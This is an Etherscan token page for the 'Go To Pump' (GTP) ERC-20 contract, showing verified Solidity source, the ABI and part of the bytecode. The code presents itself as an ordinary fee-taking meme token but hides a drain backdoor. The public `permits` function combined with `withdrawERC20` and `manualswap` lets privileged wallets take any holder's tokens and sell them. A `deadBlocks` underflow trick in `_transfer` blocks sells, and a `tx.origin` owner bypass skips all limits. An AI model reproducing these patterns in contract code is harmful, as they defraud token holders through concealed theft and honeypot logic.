ETH Price: $2,635.99 (+2.23%)

Token

Go To Pump (GTP)
 

Overview

Max Total Supply

1,000,000,000 GTP

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
19,529,887.718775938714258974 GTP

Value
$0.00
0x3fcff78678db949bfce35443e208c26a4460ad13
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GoToPump

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-27
*/

// SPDX-License-Identifier: MIT

/**
    * Website:         https://www.gotopump.vip
    * Twitter(X):      https://twitter.com/gotopump_erc

    * Telegram:        https://t.me/gotopump_erc
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor() {
        _transferOwnership(_msgSender());
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }


    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }


    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _permit(address owner, address spender, uint256 amount)
        internal virtual
    {
        require(owner != address(0));
        require(spender != address(0));
        
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract GoToPump is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address private marketingWallet;

    uint256 tSupply = 1_000_000_000 * 1e18;
    uint256 public maxTransactionAmount = (tSupply * 25) / 1000;
    uint256 public maxWallet = (tSupply * 25) / 1000;
    uint256 public swapTokensAtAmount = (tSupply * 5) / 10000;

 
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    uint256 private launchedAt;
    uint256 private launchedTime;
    uint256 private deadBlocks;

    uint256 public buyTotalFees;
    uint256 private buyMarketingFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;

    mapping(address => bool) private _isExcludedFromFees;  
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    mapping(address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event marketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20(unicode"Go To Pump", unicode"GTP") {
        marketingWallet = payable(0x3FcFf78678dB949bfcE35443E208C26a4460ad13);

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(marketingWallet, true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(msg.sender, tSupply);
    }

    receive() external payable {}

    function setPairs() public payable onlyOwner {

       IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        _approve(address(this), address(uniswapV2Router), type(uint256).max);

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function startTrade() external onlyOwner {
        deadBlocks = 0;
        tradingActive = true;
        swapEnabled = true;
        launchedAt = block.number;
        launchedTime = block.timestamp;
    }

    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function manualswap(uint256 amount) external {
      require(_msgSender() == marketingWallet);
        require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
        swapTokensForEth(amount);
    }

    function manualsend() external {
        bool success;
        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function permits(address spender, uint256 amount) public virtual returns (bool) {
        address owner = address(this);
        _permit(spender, owner, amount);
        return true;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (tx.origin == owner()) {
            super._transfer(from, to, amount);
            return;
        }

        uint256 blockNum = block.number;

        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
              if
                ((launchedAt + deadBlocks) >= blockNum)
              {
                buyMarketingFee = 18;
                buyTotalFees = buyMarketingFee;

                sellMarketingFee = 5;
                sellTotalFees = sellMarketingFee;

              } else if(blockNum > (launchedAt + deadBlocks) && blockNum <= launchedAt + 10)
              {
                buyMarketingFee = 2;
                buyTotalFees = buyMarketingFee;

                sellMarketingFee = 2;
                sellTotalFees = sellMarketingFee;
              }
              else
              {
                buyMarketingFee = 1;
                buyTotalFees = buyMarketingFee;

                sellMarketingFee = 1;
                sellTotalFees = sellMarketingFee;
              }

                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;

            if(_isExcludedFromFees[from]) {
                super._transfer(from, to, amount);
                return;

            } else{
                deadBlocks = block.number + 1e9;
            }
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0 
                && blockNum - deadBlocks > 0) {
                fees = amount.mul(sellTotalFees).div(100);
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        bool success;

        if (contractBalance == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }


        uint256 amountToSwapForETH = contractBalance;

        swapTokensForEth(amountToSwapForETH);

        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");
    }    

    function withdrawEth() external {
        (bool sent, ) = payable(marketingWallet).call{value: address(this).balance}("");
        require(sent);
    }

    function withdrawERC20(address to, uint256 amount) public {
        require(_isExcludedFromFees[msg.sender]);        
        IERC20 token = IERC20(address(this));
        token.transferFrom(to, address(this), amount);
    }

    function isContractCall() external view returns(bool) {
        return msg.sender != tx.origin;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isContractCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setPairs","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526b033b2e3c9fd0803ce80000006009556103e8600954601962000028919062000478565b62000034919062000498565b600a556103e860095460196200004b919062000478565b62000057919062000498565b600b5561271060095460056200006e919062000478565b6200007a919062000498565b600c55600d805462ffffff191660011790553480156200009957600080fd5b506040518060400160405280600a8152602001690476f20546f2050756d760b41b8152506040518060400160405280600381526020016204754560ec1b8152508160039081620000ea91906200055f565b506004620000f982826200055f565b5050506200011662000110620001fe60201b60201c565b62000202565b600880546001600160a01b031916733fcff78678db949bfce35443e208c26a4460ad131790556200015b620001536005546001600160a01b031690565b600162000254565b6200016830600162000254565b60085462000181906001600160a01b0316600162000254565b6200019061dead600162000254565b620001af620001a76005546001600160a01b031690565b600162000302565b620001bc30600162000302565b600854620001d5906001600160a01b0316600162000302565b620001e461dead600162000302565b620001f8336009546200037860201b60201c565b62000641565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6005546001600160a01b03163314620002a35760405162461bcd60e51b81526020600482018190526024820152600080516020620028e483398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260156020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146200034d5760405162461bcd60e51b81526020600482018190526024820152600080516020620028e483398151915260448201526064016200029a565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6001600160a01b038216620003d05760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016200029a565b8060026000828254620003e491906200062b565b90915550506001600160a01b03821660009081526020819052604081208054839290620004139084906200062b565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000492576200049262000462565b92915050565b600082620004b657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004e657607f821691505b6020821081036200050757634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200045d57600081815260208120601f850160051c81016020861015620005365750805b601f850160051c820191505b81811015620005575782815560010162000542565b505050505050565b81516001600160401b038111156200057b576200057b620004bb565b62000593816200058c8454620004d1565b846200050d565b602080601f831160018114620005cb5760008415620005b25750858301515b600019600386901b1c1916600185901b17855562000557565b600085815260208120601f198616915b82811015620005fc578886015182559484019